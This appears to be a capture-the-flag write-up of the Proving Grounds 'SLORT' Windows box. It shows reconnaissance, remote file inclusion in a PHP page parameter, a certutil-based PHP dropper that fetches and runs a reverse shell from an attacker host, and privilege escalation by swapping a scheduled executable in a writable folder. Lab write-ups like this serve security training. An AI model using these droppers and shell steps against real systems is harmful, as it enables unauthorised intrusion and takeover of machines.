SLORT Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 4 min read
SLORT exposes a remote file inclusion vulnerability in a small PHP site running under XAMPP, which is enough to download and run a reverse shell directly from the attacking machine. On the box, a world-writable backup folder holds an executable that an automated job runs every few minutes, and swapping that executable for a payload hands back a shell as Administrator.
Reconnaissance
Nmap
Scan all TCP ports, then re-scan the open ones with version detection.
PORT STATE SERVICE 21/tcp open ftp 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3306/tcp open mysql 4443/tcp open pharos 5040/tcp open unknown 7680/tcp open pando-pub 8080/tcp open http-proxy 49664-49669/tcp open unknown
Explain command
| -p- | Scan all 65535 TCP ports. |
21/tcp open ftp FileZilla ftpd 0.9.41 beta 3306/tcp open mysql? | fingerprint-strings: |_ Host '$ATTACKER_IP' is not allowed to connect to this MariaDB server 4443/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) |_http-title: Welcome to XAMPP 8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) |_http-title: Welcome to XAMPP Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Explain command
| -A | Enable OS detection, version detection, script scanning and traceroute. |
A Windows host running XAMPP, with the MariaDB instance rejecting remote logins. Two XAMPP dashboards sit on 4443 and 8080; focus on 8080.
Directory brute force
---- Entering directory: http://$TARGET_IP:8080/site/ ---- + http://$TARGET_IP:8080/site/index.php (CODE:301|SIZE:27)
A custom /site/ application sits alongside the default XAMPP dashboard.
Exploitation
Remote file inclusion
/site/ redirects to index.php?page=main.php. Testing the page parameter with a bogus value throws an include() warning that names the full server path.
Warning: include(hola): failed to open stream: No such file or directory in C:\xampp\htdocs\site\index.php on line 4
The parameter is passed straight into include(). Point it at a URL to check whether remote fetches are allowed, while a listener on the attacking machine waits for the callback.
listening on [any] 80 ...
The listener catches the inbound request, confirming remote file inclusion. Serving a small PHP file instead of a dummy one proves code execution.
<?php
phpinfo();
?>
... PHP Version ... (phpinfo output confirms execution)
Build a reverse shell binary and a small PHP dropper that pulls it onto the target with certutil.
Final size of exe file: 73802 bytes
<?php
$exec = system('certutil.exe -urlcache -split -f "http://$ATTACKER_IP/shell.exe" shell.exe', $val);
?>
CertUtil: -URLCache command completed successfully.
The web server log confirms shell.exe landed on the target. Flip pwn.php to execute it instead of downloading it, start a listener, and trigger it through the same RFI parameter.
<?php
$exec = system('shell.exe', $val);
?>
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] Microsoft Windows C:\xampp\htdocs\site>
Shell as the IIS/XAMPP service identity, running out of the webroot.
Privilege Escalation
Writable backup folder
Backup BUILTIN\Users:(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Users has full control over C:\Backup. A note inside explains why that matters.
backup.txt info.txt TFTP.EXE Run every 5 minutes: C:\Backup\TFTP.EXE -i $ATTACKER_IP get backup.txt
TFTP.EXE runs on a recurring schedule, almost certainly as a privileged account. Since the folder is writable, replace the binary with a payload instead of trying to find who runs it.
Swapping the scheduled binary
Final size of exe file: 73802 bytes
CertUtil: -URLCache command completed successfully. 1 file(s) moved. 1 file(s) moved.
Start a listener and wait for the next scheduled run.
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] Microsoft Windows C:\Windows\system32>whoami slort\administrator
The scheduled job runs the swapped binary as administrator, handing back a privileged shell.